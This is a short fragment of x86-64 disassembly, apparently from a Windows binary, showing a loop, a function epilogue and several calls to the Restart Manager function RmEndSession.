imul rcx, rax, 0x29c
mov edi, dword [rcx + rsi]
cmp edi, r9d
jne 0x140081848
inc edx
cmp edx, r8d
jb 0x140081800
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov eax, ebx
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400a9a30
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov rcx, rsi
call fcn.14008ca40
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov ebx, edi
jmp 0x140081821
mov rcx, rsi
call fcn.14008ca40
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
xor eax, eax
jmp 0x140081823